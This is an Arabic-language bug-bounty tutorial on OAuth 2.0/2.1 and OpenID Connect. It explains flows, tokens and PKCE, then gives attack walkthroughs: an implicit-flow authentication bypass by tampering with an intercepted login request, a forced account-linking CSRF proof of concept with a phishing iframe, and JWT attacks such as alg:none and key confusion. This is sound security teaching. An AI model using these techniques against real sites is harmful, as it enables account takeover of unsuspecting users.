BUG BOUNTY · OAUTH 2.0 / 2.1 · OPENID CONNECT

منهجية صيد

OAuth Vulns.

الـ framework اللي بيوصل ملايين المواقع — وبسبب تعقيده وفلكسيبليتهه، هو أكتر مكان بتلاقي فيه bugs بـ severity عالية. من الصفر للاحتراف.

TAUGHT BY HAMADA KHAIRY · OAUTH · OIDC · BUG BOUNTY · ZERO TO HERO
Hamada Khairy
THE INSTRUCTOR
// 00 — VIDEO OVERVIEW

شرح فيديو كامل للمنهجية

شاهد شرح الفيديو الكامل لمنهجية الـ OAuth وكيفية اكتشاف الثغرات عملياً.

OAuth Explanation Video
▶ VIDEO RUNTIME: COMPLETE WALKTHROUGH OPEN ON YOUTUBE ↗
// 01 — البداية الحقيقية

إيه هو الـ OAuth أصلاً؟

قبل ما نتكلم عن الـ vulnerabilities، لازم نفهم الـ framework نفسه. ليه اخترع، وإيه المشكلة اللي بيحلها.

◆ ◇ ◆
// SCRIPT — المشكلة قبل OAuthFOUNDATION

تخيل إن إنت عندك صور على Instagram وعايز موقع PrintMyPhotos.com يطبعهالك. قبل OAuth كان الموقع ده هيقولك "إديني الـ username والـ password بتاعك على Instagram، أنا هلوج إن واسحب الصور".

طب تفتكر ده آمن؟ لأ إطلاقاً. الموقع ده هياخد الباسورد بتاعك، يقدر يدخل على كل حاجة في حسابك (مش الصور بس)، ولو الموقع ده اتهك، الباسورد بتاعك راح. وأكتر من كده، عشان توقف الموقع من إنه يدخل، لازم تغير الباسورد — وكل المواقع التانية اللي اديتها نفس الباسورد هتقفل.

⚠️ المشاكل الأساسية:
• Third-party بيخزن الباسورد بتاعك (غالباً بـ plaintext)
• الموقع بياخد full access على حسابك مش بس الجزء اللي محتاجه
• مش تقدر تلغي الـ access إلا بتغيير الباسورد
• لو الموقع اتهك = حسابك كله ضاع

دي المشكلة اللي OAuth اخترع عشانها. الفكرة الجوهرية: "اديني الـ access من غير ما تديني الباسورد، واسمحلي بحاجة محددة فقط، وممكن تلغي الـ access في أي وقت".

❌ THE OLD WAY — Password Sharing
// PrintMyPhotos asks for credentials POST /login-with-instagram { "username": "hamada123", "password": "MyR3alP@ss!" } // PrintMyPhotos now has FULL access: - Read your DMs - Post on your behalf - Delete your account - Steal your password if hacked
✦ THE OAUTH WAY — Token-Based
// User authenticates with Instagram // Then approves: "Allow read photos?" // Instagram gives PrintMyPhotos a token: { "access_token": "eyJhbGc...", "scope": "photos:read", "expires_in": 3600 } + Limited to photos:read only + Expires in 1 hour + Revocable anytime by user + Password never shared
📌 ملاحظة جوهرية: OAuth أصلاً authorization framework مش authentication. يعني الهدف الأصلي كان "هل المستخدم سامح للموقع ده يعمل كذا؟" مش "مين هو المستخدم ده؟". لكن مع الوقت الناس استخدمته للـ authentication كمان (Login with Google) — وده اللي بيخلق نص الـ vulnerabilities اللي هنشوفها.
المصطلحات الأساسية اللي هتسمعها كتير
  • OAuth 2.0 الإصدار الحالي الشائع (RFC 6749, 2012)
  • OAuth 2.1 الإصدار الجديد المتوحد (2026, draft) — بيشيل الـ Implicit وROPC
  • OIDC OpenID Connect — لير على OAuth للـ authentication
  • Grant Type الطريقة اللي بتاخد بيها التوكن (Authorization Code, Implicit, ...)
  • PKCE Proof Key for Code Exchange — حماية إضافية ضد سرقة الكود
  • JWT JSON Web Token — فورمات شائع للتوكن
  • Scope نطاق الصلاحية اللي الـ client بيطلبها
  • Bearer Token أي حد بيمسكه يقدر يستخدمه (زي الكاش)
// 02 — البنية التحتية

الأربع أدوار في OAuth

قبل ما تفهم أي flow، لازم تعرف مين بيتكلم مع مين. الـ 4 أدوار دول هما اللي بيلعبوا في كل سيناريو.

◆ ◇ ◆
ROLE 01

Resource Owner

صاحب الـ data — غالباً المستخدم نفسه. هو اللي بيقول "أوافق" أو "أرفض" على الـ access request.

👤 USER

في تعريف RFC: "An entity capable of granting access to a protected resource"

ROLE 02

Client Application

الموقع/التطبيق اللي عايز يدخل على بيانات المستخدم. مش بالضرورة client-side — ممكن يبقى server.

🌐 APP

مثال: PrintMyPhotos.com اللي عايز يقرا صور Instagram

ROLE 03

Authorization Server

السيرفر اللي بيتحقق من المستخدم وبيصدر الـ access tokens. ده اللي بيعمل الـ OAuth flow.

🔑 AUTH

مثال: accounts.google.com عند تسجيل الدخول بـ Google

ROLE 04

Resource Server

السيرفر اللي عليه الداتا الفعلية. بياخد التوكن من الـ Client وبيرجع البيانات.

📦 API

مثال: graph.facebook.com اللي بيرجع بيانات الـ profile

// SCRIPT — تركة مهمة جداًCRITICAL CONCEPT

الـ Authorization Server والـ Resource Server ممكن يكونوا نفس الـ entity أو يكونوا منفصلين. ده اللي بيلخبط كتير من الـ researchers في الأول.

مثال على دمجهم: لما تعمل "Login with Google"، جوجل هي الاتنين — هي اللي بتورايز (accounts.google.com) وهي اللي عندها الداتا (googleapis.com). كلهم Google.

مثال على فصلهم: في setup داخلي للشركة، Auth0 ممكن يبقى الـ Authorization Server، والـ Resource Server هي الـ API بتاع الشركة على دومين تاني.

💡 لما تبدأ تختبر تطبيق فيه OAuth، أول حاجة لازم تحددها: مين الـ 4 entities دول في الـ application اللي قدامك؟ غالباً هتلاقي الكلاينت = الموقع اللي إنت فاتحه، الـ user = إنت، والـ Auth + Resource = الـ provider الخارجي (Google/Facebook/...).
// HIGH-LEVEL ABSTRACT FLOW (RFC 6749)
CLIENT──(A) Authorization Request──▶RESOURCE OWNER
CLIENT◀──(B) Authorization Grant────RESOURCE OWNER
CLIENT──(C) Authorization Grant──▶AUTH SERVER
CLIENT◀──(D) Access Token──────────AUTH SERVER
CLIENT──(E) Access Token──────────▶RESOURCE SERVER
CLIENT◀──(F) Protected Resource────RESOURCE SERVER

✦ ده الـ flow المجرد. كل grant type بيختلف في تفاصيل الخطوات دي — بس الفكرة الكبيرة دي تماماً.

// 03 — الـ GRANT الأساسي

Authorization Code Flow

الـ grant type الأكثر استخداماً والأكثر أماناً. لو فهمته كويس، فهمت 80% من OAuth.

◆ ◇ ◆
// SCRIPT — ليه ده الأكثر أماناً؟CORE FLOW

الـ Authorization Code Flow بيستخدم حاجتين منفصلتين: أولاً بياخد code عبر البراوزر، وبعدين بيبدله بـ access token عبر back-channel (سيرفر-لسيرفر) آمن.

الميزة هنا: الـ access token ما بيمرش بالبراوزر أبداً. حتى لو في malicious script في البراوزر، أقصى حاجة يقدر يسرقها هو الـ code، والـ code ده مالوش لازمة من غير الـ client_secret اللي مخزن على السيرفر.

✓ Server-side applications (web apps with backend) لازم دايماً يستخدموا الـ Authorization Code Flow. ده الـ default الآمن.
// AUTHORIZATION CODE FLOW — STEP BY STEP
USERclick "Login with Google"CLIENT APP
CLIENTredirects user to:
GET /authorize?response_type=code&client_id=12345&redirect_uri=https://client.com/callback&scope=openid profile&state=xyz789
USER───▶AUTH SERVER(login + consent)
AUTHredirects back with code:
GET /callback?code=AUTH_CODE_xyz&state=xyz789
CLIENT (backend)───POST───▶AUTH SERVER /token
POST /token
grant_type=authorization_code
code=AUTH_CODE_xyz
client_id=12345
client_secret=SECRET_HERE ← server-to-server, secret stays safe
redirect_uri=https://client.com/callback
AUTH───returns───▶CLIENT
{
  "access_token": "eyJhbGc...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "tGzv3J...",
  "scope": "openid profile"
}
CLIENT─Bearer token──▶RESOURCE SERVER /userinfo
RESOURCE───returns user data───▶CLIENT
الـ Parameters المهمة في الـ Request الأولاني
  • response_type=code بيقول للسيرفر: عايز كود (مش توكن مباشرة)
  • client_id الـ ID اللي اتسجل بيه الـ client مع الـ auth server
  • redirect_uri فين يبعت الكود — أهم parameter للـ security
  • scope الصلاحيات اللي بيطلبها الـ client (openid, profile, email, ...)
  • state CSRF token — لازم بياخده ويرجعه
ليه الـ Code أحسن من الـ Token مباشرة؟
  • الـ Code قصير العمر (10 دقايق max)
  • الـ Code يستخدم مرة واحدة فقط
  • الـ Code وحده مالوش قيمة من غير الـ client_secret
  • التبادل بيحصل عبر back-channel آمن
  • حتى لو اتسرق الكود، عمر الـ attacker قصير
📌 نقطة كي: الـ state parameter ده مش اختياري في الواقع العملي. هو الحاجة الوحيدة اللي بتحمي الـ client من CSRF attacks. لو لقيت الـ state غير موجود أو غير validated، ده vulnerability على طول هنشوف تفاصيلها في الـ section بتاعة الـ CSRF.
// 04 — الـ GRANT الخطر

Implicit Flow — الأقل أماناً

مبسط بس فيه مخاطر كبيرة. OAuth 2.1 شيله أصلاً. لكن لسه موجود في تطبيقات كتير قديمة.

◆ ◇ ◆
// SCRIPT — ليه فيه implicit أصلاً؟LEGACY

الـ Implicit Flow اخترع علشان الـ Single Page Applications (SPAs) اللي ما عندهاش backend. الفكرة كانت: لو ما عندكش server، ما تقدرش تحفظ client_secret آمن، فمالكش لزمة الـ Code. خد التوكن مباشرة.

المشكلة: الـ access_token بيتبعت في الـ URL fragment عبر البراوزر. ده بيخليه عرضة للسرقة من: browser history، malicious extensions، referrer headers، XSS، logs السيرفر.

⚠️ في 2026، OAuth 2.1 بشكل رسمي شيل الـ Implicit Flow. البديل الجديد: Authorization Code + PKCE حتى للـ SPAs.
// IMPLICIT FLOW — TOKEN COMES DIRECTLY
CLIENT (SPA)redirects user:
GET /authorize?response_type=token&client_id=12345&redirect_uri=https://client.com/callback&scope=openid&state=xyz
USER───authenticate + consent───▶AUTH
AUTHredirects WITH TOKEN IN FRAGMENT:
GET /callback#access_token=eyJhbGc...&token_type=Bearer&expires_in=3600&state=xyz
⚠️ Token is in the URL fragment (#) — visible to JavaScript, browser history, extensions
CLIENT JSextracts token from window.location.hash
CLIENT─uses token directly──▶RESOURCE
⚠️ المخاطر الأمنية
  • التوكن بيظهر في browser history
  • أي JS بيقدر يقرا التوكن من الـ URL
  • Extensions ممكن تقراه
  • Server logs ممكن تسجله
  • Referrer headers ممكن تسربه
  • مفيش refresh token (عمر التوكن قصير)
  • الـ client identity مش بيتأكد منها
🎯 OAuth Authentication Bypass

في حالة كتيرة، الـ implicit flow بيُستخدم في authentication. الـ client بياخد التوكن، يبعت الـ user ID للسيرفر بتاعه، ويطلب session cookie.

المشكلة: لو السيرفر مش بيتحقق إن الـ user ID ده مرتبط فعلاً بالتوكن، الـ attacker يقدر يبعت user ID حد تاني ويلوج إن باسم الضحية. هنشوف ده بالتفصيل في section الـ Implicit Bypass.

// 05 — باقي الـ Grants

الـ Grants الأخرى

في 4 grant types في OAuth 2.0. شفنا اتنين، تعالى نشوف الباقي بسرعة.

◆ ◇ ◆
GRANT 03 — Resource Owner Password Credentials (ROPC)

الأخطر — متجنبه دايماً

المستخدم بيدي الـ username والـ password مباشرة للـ client. الـ client بيبعتهم للـ auth server وبياخد توكن.

// ROPC Request POST /token grant_type=password username=hamada password=MyR3alP@ss! ← SHARED! client_id=12345
⚠️ ده بيتعارض مع كل اللي OAuth اخترع عشانه. OAuth 2.1 شاله رسمياً. لو شفته في تطبيق حديث = pointer واضح على bad security culture.
GRANT 04 — Client Credentials

للـ Machine-to-Machine

مفيش user أصلاً. الـ client بيستخدم الـ credentials بتاعته هو عشان ياخد توكن. مفيد للـ background services.

// Client Credentials Request POST /token grant_type=client_credentials client_id=12345 client_secret=SECRET scope=read:metrics
✓ آمن لأنه بيتم سيرفر-لسيرفر بس. مفيد لـ cron jobs، backups، analytics services اللي مش بتمثل user معين.
Grant Type الـ Use Case أمان OAuth 2.1 هل لسه شائع؟
Authorization Code Web apps with backend (الـ default الحديث) SECURE REQUIRED نعم — أكتر استخداماً
Auth Code + PKCE SPAs و mobile apps (الـ default الجديد) VERY SECURE REQUIRED متزايد بسرعة
Implicit SPAs (قديم) — مش مفروض يستخدم INSECURE REMOVED موجود في legacy apps
ROPC (Password) Migration من legacy (متجنبه) DANGEROUS REMOVED للأسف نعم
Client Credentials Machine-to-machine, no user SECURE KEPT نعم — للـ APIs الداخلية
Device Code Smart TVs, IoT devices CONDITIONAL KEPT متخصص
Refresh Token Renew access tokens (مش grant مستقل) DEPENDS KEPT دايماً موجود
// 06 — تشريح الـ TOKENS

الـ Tokens — قلب OAuth

3 أنواع من الـ tokens بتفهم الـ flow كله. لازم تعرف الفرق بينهم.

◆ ◇ ◆
TOKEN 01 — Access Token

المفتاح الفعلي

الـ token اللي بيستخدم في كل API call. بيشهد إن الـ client مسموحله يدخل على الـ resource.

  • عمر قصير (دقايق إلى ساعات)
  • شكل JWT أو opaque string
  • استخدام Authorization: Bearer ...
  • مخاطر Bearer = أي حد بياخده يستخدمه
TOKEN 02 — Refresh Token

المُجدِّد

بياخد access token جديد لما القديم بيخلص. ما بيتبعتش لأي resource server — بس للـ auth server.

  • عمر طويل (أيام/أسابيع/شهور)
  • استخدام POST /token مع grant_type=refresh_token
  • حماية bound to specific client
  • مخاطر لو اتسرق = persistent access
TOKEN 03 — Authorization Code

المُبدِّل

مش token حقيقي — هو "ticket" يستخدم مرة واحدة عشان يتبدل بـ access token عبر back-channel.

  • عمر قصير جداً (10 دقايق max)
  • استخدام single-use only
  • أمان مالوش قيمة من غير client_secret
  • حماية الأكثر أماناً من الـ implicit token
// SCRIPT — JWT vs Opaque TokensDEEP DIVE

الـ access token ممكن يبقى نوعين:

JWT (Self-contained): بيحتوي كل المعلومات عن الـ user والـ scope جواه. الـ resource server بيقدر يتحقق منه من غير ما يكلم الـ auth server. سريع، scalable، لكن لو اتسرب صعب نلغيه قبل الـ expiry.

Opaque (Reference): string عشوائي مش بيحمل معلومات. الـ resource server محتاج يكلم الـ auth server (introspection endpoint) عشان يعرف هل التوكن valid. أبطأ، لكن قابل للإلغاء فوراً.

📌 لو لقيت توكن طويل وبيبدأ بـ "eyJ" — ده JWT. لو string قصير عشوائي = opaque. الفرق ده مهم في الـ testing.
// JWT TOKEN ANATOMY — DECODED // Encoded (3 parts separated by dots): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMjM0NTY3OCIsIm5hbWUiOiJIYW1hZGEiLCJleHAiOjE3MDk5... . SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // HEADER (decoded): { "alg": "HS256", // Signing algorithm — could be RS256, ES256, or none ⚠️ "typ": "JWT", "kid": "abc123" // Key ID — used for key lookup (potential injection point) } // PAYLOAD (decoded) — the claims: { "sub": "12345678", // Subject — user ID "iss": "https://auth.example.com", // Issuer — who issued the token "aud": "client_app_id_xyz", // Audience — WHO is this token FOR ⭐ CRITICAL "exp": 1709945600, // Expiry timestamp "iat": 1709942000, // Issued at "scope": "openid profile email", // Granted scopes "email": "hamada@test.com" } // SIGNATURE — HMACSHA256(base64(header) + "." + base64(payload), SECRET) // If signature not validated → CHANGE THE PAYLOAD ⚠️
⚠️ JWT Attacks المشهورة
  • alg:none غير الـ algorithm لـ "none" — بعض الـ libraries بتقبله
  • Weak HS256 brute force السر بـ hashcat لو ضعيف
  • alg confusion RS256 → HS256 باستخدام الـ public key كـ secret
  • kid injection SQLi/path traversal في الـ key ID
  • jku/x5u URL لجلب الـ key — ممكن نتحكم فيه
الـ Claims المهمة في OAuth/OIDC
  • aud (audience) الـ client اللي التوكن متصدر له — أهم claim للأمان
  • iss (issuer) مين أصدر التوكن (لازم يتم validation)
  • sub (subject) المستخدم اللي التوكن يخصه
  • azp Authorized Party — الـ client اللي طلب الـ token
  • nonce CSRF protection للـ id_token
  • hd (hosted domain) Google specific — domain الشركة
// 07 — Authentication Layer

OpenID Connect — الفرق

OAuth = authorization. OIDC = layer فوق OAuth علشان تعمل authentication. الفرق ده بيغير كتير.

◆ ◇ ◆
// SCRIPT — ليه احتاجنا OIDC أصلاً؟EVOLUTION

OAuth 2.0 اخترع للـ authorization — يعني "هل المستخدم سامح للموقع ده يقرا الـ photos بتاعته؟". لكن المطورين بدأوا يستخدموه للـ authentication كمان — يعني "Login with Google".

الفرق دقيق لكن مهم: في الـ authorization، إنت بتتحقق إن في توكن صالح للوصول لـ resource. في الـ authentication، إنت محتاج تثبت هوية المستخدم (مين هو فعلاً).

OAuth ما اتصممش للحاجة دي. كان كل client بيعمل workaround بطريقته. النتيجة: implementations مختلفة، vulnerabilities كتيرة، تجربة مستخدم متفاوتة.

📌 OIDC جا في 2014 كحل موحد. أضاف 3 حاجات أساسية: id_token (JWT بيشهد بالهوية)، standardized scopes (openid, profile, email)، وuserinfo endpoint ثابت لكل الـ providers.
المضاف في OIDC
  • id_token JWT خاص بيوصف الـ user authentication
  • openid scope مطلوب علشان تشغل OIDC
  • /userinfo endpoint standardized عبر الـ providers
  • /.well-known/openid-configuration discovery
  • Standard claims sub, name, email, picture, ...
  • nonce parameter حماية إضافية ضد replay
الـ id_token vs access_token

id_token: بيقول للـ client "ده المستخدم اللي اتثبت إنه هو" — عبارة عن JWT بيتحقق منه الـ client نفسه.

access_token: بيقول للـ resource server "صاحب التوكن ده مسموحله بكذا" — يستخدم في الـ API calls.

💡 الـ id_token للـ client (authentication). الـ access_token للـ resource server (authorization).
// OIDC ID TOKEN — DECODED PAYLOAD { "iss": "https://accounts.google.com", "sub": "110169484474386276334", "aud": "client_app_id_xyz.apps.googleusercontent.com", "exp": 1709945600, "iat": 1709942000, // Standard OIDC claims: "email": "hamada@gmail.com", "email_verified": true, // ⭐ MUST CHECK THIS! "name": "Hamada Khairy", "given_name": "Hamada", "family_name": "Khairy", "picture": "https://lh3.googleusercontent.com/...", "locale": "en", // Google-specific (or other provider extensions): "hd": "company.com", // Hosted domain — for Workspace "nonce": "abc123xyz" // Replay protection }
⚠️ تحذير شديد: الـ email_verified claim ده هو السبب الرئيسي في كتير من الـ Pre-Account Takeover bugs. لو الـ client بيعمل login عبر OIDC بناءً على الـ email، لازم يتحقق إن email_verified == true. لو ما اتحققش، الـ attacker يقدر يسجل في الـ provider بـ email حد تاني (من غير verification) ويلوج إن في الـ client باسم الضحية. هنشوف ده بالتفصيل في section الـ Pre-ATO.
// 08 — العصر الحديث

OAuth 2.1 + PKCE

في 2026، الـ industry تحرك للـ OAuth 2.1 — consolidation لكل best practices في 14 سنة. وPKCE بقت إجبارية.

◆ ◇ ◆
// SCRIPT — Why PKCE mattersCRITICAL

PKCE = Proof Key for Code Exchange (RFC 7636). فكرتها بسيطة جداً وعبقرية: حتى لو الكود اتسرق في رحلته، مش هيشتغل من غير الـ secret اللي بدأ بيه الـ flow.

الـ flow: قبل ما يبدا الـ Auth Code flow، الـ client بيولد code_verifier عشوائي (43-128 chars). يعمل له SHA256 ويحط النتيجة كـ code_challenge في الـ authorization request. لما يجي يستبدل الكود بتوكن، يبعت الـ code_verifier الأصلي. الـ auth server بيعمل SHA256 ويتأكد إنه يساوي الـ challenge اللي اتبعت أولاً.

✓ الميزة: حتى لو attacker سرق الكود، مش هيقدر يبدله بتوكن لأن مش معاه الـ code_verifier الأصلي. الـ secret ده بيتولد in-memory للـ client وما بيمرش في أي request غير اللي بياخد التوكن.

OAuth 2.1 خلى PKCE إجبارية لكل الـ clients — public أو confidential. ده بيغطي على الـ implicit flow اللي اتشال أصلاً.

// PKCE FLOW — STEP BY STEP // STEP 1: Client generates random code_verifier (in memory) code_verifier = "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" // 43-128 chars // STEP 2: Client computes code_challenge code_challenge = BASE64URL(SHA256(code_verifier)) = "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM" // STEP 3: Authorization request (browser-side) GET /authorize? response_type=code& client_id=12345& redirect_uri=https://client.com/callback& scope=openid& state=xyz& code_challenge=E9Melhoa...& // challenge sent (public) code_challenge_method=S256 // hashing method // STEP 4: User logs in, authorization code returned GET /callback?code=AUTH_CODE&state=xyz // STEP 5: Token exchange — verifier proves ownership POST /token grant_type=authorization_code& code=AUTH_CODE& redirect_uri=https://client.com/callback& client_id=12345& code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk // ⭐ THE SECRET // Server verifies: SHA256(code_verifier) == stored code_challenge? // If yes → return tokens. If no → 401.
العملي — لو شفت PKCE
  • دور على code_challenge في الـ /authorize request
  • دور على code_verifier في الـ /token request
  • تأكد من code_challenge_method=S256 (مش plain)
  • لو شفت plain ده pointer — حماية ضعيفة
  • جرب تشيل الـ verifier — هل لسه شغال؟
  • جرب verifier عشوائي — هل بيرفض؟
OAuth 2.1 — التغييرات الجوهرية
  • Removed Implicit Flow بشكل كامل
  • Removed Resource Owner Password Credentials
  • Required PKCE for all flows
  • Required Exact-match redirect_uri (no patterns)
  • Required Refresh token rotation or sender-constrained
  • Bearer tokens لا يجوز إرسالها في URL query
// 09 — البداية العملية

Recon — قبل ما تهاجم

عشان تختبر OAuth implementation بشكل صح، لازم الأول تعرف بالظبط إيه الـ flow المستخدم وإيه الـ endpoints.

◆ ◇ ◆
01

تحديد إن في OAuth أصلاً

لو في "Login with Google/Facebook/Apple/GitHub" — في OAuth بنسبة 99%. حتى الزرار اللي بيقول "Continue with Microsoft" أو "Sign in with Twitter" كلها OAuth. افتح Burp وابعت ريكويست واحد على الزرار ده.

02

تحديد الـ Grant Type

دور في الـ /authorize request على response_type:
code = Authorization Code Flow (آمن)
token = Implicit Flow (خطر — هاجم!)
id_token = OIDC implicit (خطر برضو)
code id_token = OIDC hybrid

03

اعرف الـ Authorization Server

الـ host بتاع الـ /authorize request هو الـ Authorization Server. لو خارجي (Google, Facebook) = موثوق. لو الـ company نفسها بتعمله = طبقة جديدة من الـ attack surface.

04

اطلب الـ Discovery Documents

جرب على الـ auth server دومين: /.well-known/openid-configuration و /.well-known/oauth-authorization-server. الـ JSON اللي بيرجع بيقولك كل الـ endpoints والـ supported features.

05

وثق كل parameter

في الـ /authorize request، خد screenshot أو احفظ كل القيم: client_id، redirect_uri، scope، state، nonce، code_challenge. كل واحد فيهم vector محتمل.

06

افحص الـ id_token / access_token

بعد الـ login، احصل على التوكن من الـ response أو من الـ /userinfo callback. فك الـ JWT في jwt.io. وثق الـ aud، iss، scope. الـ aud claim هو السلاح الأقوى للـ token validation testing.

// EXAMPLE — /.well-known/openid-configuration // Send: GET https://auth.example.com/.well-known/openid-configuration { "issuer": "https://auth.example.com", "authorization_endpoint": "https://auth.example.com/oauth/authorize", "token_endpoint": "https://auth.example.com/oauth/token", "userinfo_endpoint": "https://auth.example.com/oauth/userinfo", "jwks_uri": "https://auth.example.com/.well-known/jwks.json", "registration_endpoint": "https://auth.example.com/oauth/register", // ⚠️ Dynamic registration — SSRF candidate! "response_types_supported": ["code", "token", "id_token", "code id_token"], "grant_types_supported": ["authorization_code", "implicit", "password"], // ⚠️ Legacy grants supported "scopes_supported": ["openid", "profile", "email", "address", "phone"], "token_endpoint_auth_methods_supported": ["client_secret_basic", "client_secret_post", "none"], // ⚠️ "none" = no client auth! "request_uri_parameter_supported": true, // ⚠️ SSRF via request_uri! "id_token_signing_alg_values_supported": ["RS256", "HS256", "none"], // ⚠️ "none" supported! "code_challenge_methods_supported": ["S256", "plain"] // ⚠️ "plain" defeats PKCE } // 🎯 Each highlighted feature = potential attack vector to investigate
الـ Indicator في الـ Recon إيه اللي بيعنيه الـ Attack Vector الأولوية
response_type=token Implicit flow مستخدم Token leakage, account takeover via redirect_uri CRITICAL
مفيش state parameter مفيش CSRF protection Forced OAuth profile linking, login CSRF HIGH
redirect_uri loose validation الـ regex/prefix matching مستخدم Token theft via subdomain or path manipulation CRITICAL
request_uri_parameter_supported JWT requests مدعومة SSRF via request_uri parameter HIGH
HS256 signing Symmetric key — قابل للـ brute force JWT forge if secret weak/leaked HIGH
"none" alg supported Bug catastrophic لو الـ client مش بيتحقق Forge any JWT CRITICAL
Dynamic registration open أي حد يقدر يسجل client SSRF via jwks_uri or logo_uri HIGH
token_endpoint_auth_method=none Public clients مدعومة بدون auth Confused deputy attacks MEDIUM
// 10 — أول vulnerability جدية

Authentication Bypass via Implicit Flow

في الـ implicit flow، التوكن بيمر عبر البراوزر. ده بيخلق فرصة للـ client implementation يكون vulnerable بشكل غريب.

◆ ◇ ◆
// SCRIPT — السر بتاع الـ Implicit BypassCLASSIC ATTACK

تخيل تطبيق بيعمل authentication عبر OAuth implicit. الـ flow التقليدي:

1. User يدوس "Login with Social". الـ client يعمل redirect لـ auth server.
2. User يلوج إن في الـ social provider.
3. الـ provider بيرجع access_token في URL fragment.
4. الـ JS بتاع الـ client بيستخرج التوكن من الـ fragment.
5. الـ JS بيكلم الـ /userinfo بالتوكن، بياخد user data.
6. الـ JS بيبعت الـ user data للـ backend بتاع الـ client (POST request).
7. الـ backend بياخد الـ user data، يدور على المستخدم في الـ DB، ويعمل session cookie.

⚠️ المشكلة في الخطوة 7: الـ backend مش بيتحقق إن الـ user data اللي وصلتله فعلاً مرتبطة بالتوكن. هو واثق إن الـ JS اللي بعت الـ data هو نفسه اللي اتثبت من الـ provider. Implicit trust = bug.
// THE VULNERABILITY — STEP BY STEP EXPLOIT // STEP 1: Attacker logs in with their own social account // User-Agent goes through OAuth implicit flow normally GET /callback#access_token=ATTACKER_TOKEN&token_type=Bearer // STEP 2: Client JS extracts token, calls /userinfo GET https://provider.com/userinfo Authorization: Bearer ATTACKER_TOKEN // Returns: { "sub": "attacker_id_111", "email": "attacker@evil.com", "name": "Attacker" } // STEP 3: Client JS sends user data to its own backend POST /api/auth/social-login Content-Type: application/json { "email": "attacker@evil.com", "sub": "attacker_id_111", "access_token": "ATTACKER_TOKEN" } // STEP 4 — THE EXPLOIT: Intercept the request and modify POST /api/auth/social-login Content-Type: application/json { "email": "victim@target.com", // ← VICTIM's email "sub": "victim_id_222", // ← VICTIM's user ID "access_token": "ATTACKER_TOKEN" // Token still belongs to attacker } // STEP 5: Vulnerable backend assumes data is authentic // Looks up "victim@target.com" → returns victim's session // 🎯 ACCOUNT TAKEOVER — Attacker is now logged in as the victim
إزاي تختبر
  • اعمل account وحساب login عبر الـ implicit flow
  • افتح Burp واعترض الـ POST request للـ backend
  • غير الـ email أو الـ sub أو الـ user_id لقيمة مستخدم تاني
  • سيب الـ access_token كما هو (يخصك إنت)
  • لو الـ backend رجع session للمستخدم التاني = vulnerability
  • لو رفض = الـ backend بيتحقق من ربط التوكن بالـ user (الطريقة الصحيحة)
الـ Fix الصحيح

الـ backend لازم يستخدم الـ access_token بنفسه عشان يستعلم من الـ provider:

// ✅ CORRECT: Backend verifies token itself POST /api/auth/social-login { "access_token": "TOKEN" } // Server calls provider: GET https://provider.com/userinfo Authorization: Bearer TOKEN // Trust ONLY what provider returns, // NOT what client JS sends
// 11 — حماية الـ FLOW

CSRF & الـ state Parameter

الـ state هو CSRF token للـ OAuth flow. غيابه أو عدم validate له = vulnerabilities خطرة.

◆ ◇ ◆
// SCRIPT — Forced OAuth Profile LinkingCLASSIC CSRF

تخيل موقع بيسمح للمستخدم يستخدم email/password عادي، أو يربط حسابه بـ social account (Linking). لو الـ flow مش بيستخدم state parameter، الـ attacker يقدر يجبر الضحية تربط حسابها بحساب الـ attacker على الـ provider.

السيناريو:

1. Attacker يبدأ OAuth flow على الـ client بحسابه على الـ provider.
2. Attacker يوصل لمرحلة الـ callback بس ما يكملش — يحتفظ بـ URL الـ callback.
3. Attacker يبعت الـ URL ده للضحية كـ phishing link.
4. الضحية، اللي معاها login session في الـ client، تفتح اللينك.
5. الـ client بياخد الكود ويربطه بحساب الضحية.
النتيجة: حساب الضحية مربوط بـ social account الـ attacker. الـ attacker يقدر يلوج إن لحساب الضحية بأي وقت عبر الـ social account بتاعه.

// FORCED OAUTH LINKING — PROOF OF CONCEPT // STEP 1: Attacker initiates OAuth on victim site WHILE logged out // Click "Link Google Account" on https://target.com/settings/account // Browser redirects to Google with these params: GET https://accounts.google.com/o/oauth2/auth? client_id=target_client_id& redirect_uri=https://target.com/oauth/callback& response_type=code& scope=openid email [NOTE: NO state parameter ⚠️] // STEP 2: Attacker logs into THEIR OWN Google account, approves consent // STEP 3: Google redirects to callback. Attacker INTERCEPTS the request: GET https://target.com/oauth/callback?code=ATTACKER_GOOGLE_CODE // STEP 4: Attacker DOES NOT visit this URL. Instead, embeds it in phishing: <iframe src="https://target.com/oauth/callback?code=ATTACKER_GOOGLE_CODE"> // STEP 5: Victim, logged into target.com, opens phishing page // Iframe loads → victim's browser sends authenticated request // target.com receives the code with VICTIM's session // Backend exchanges code, gets attacker's Google account info // Backend LINKS attacker's Google to VICTIM's account on target.com // 🎯 RESULT: Attacker can now log into victim's account anytime // via "Login with Google" using their own Google account!
العلامات اللي تخليك تختبر
  • غياب الـ state parameter في الـ /authorize request
  • الـ state موجود لكن قيمته ثابتة أو predictable
  • الـ state موجود لكن السيرفر مش بيتحقق منه عند الـ callback
  • الـ application بيسمح بـ "link account" features
  • الـ application بيدعم email/password + social login مع نفس الحساب
الـ State الصحيح
// ✅ Properly tied to user session state = HMAC( user_session_id, secret_key ) // On callback, validate: // 1. state matches HMAC of current session // 2. state was generated within reasonable time // 3. state hasn't been used before (one-time)

⚠️ لو الـ state بـ random value فقط من غير ربط بالـ session، attacker ممكن يولد state من نفسه ويستخدمه. لازم يبقى مربوط بالـ session.

📌 ميزة معروفة في الـ Bug Bounty: Shopify كان عنده استiconfront مع Pinterest فيه نفس الـ issue. الـ callback endpoint https://pinterest-commerce.shopifyapps.com/auth/pinterest/callback ما كانش بيتحقق من state. الـ attacker كان يقدر يربط حساب Pinterest بتاعه بـ Shopify store الضحية. تم الفيكس بإجبار state parameter على كل callbacks.
// 12 — أخطر vulnerability في OAuth

redirect_uri Manipulation

الـ redirect_uri parameter هو الـ trust boundary الأساسي. لو الـ validation ضعيفة، الـ attacker يقدر يسرق الكود/التوكن.

◆ ◇ ◆
// SCRIPT — ليه redirect_uri مهمة كدهCRITICAL

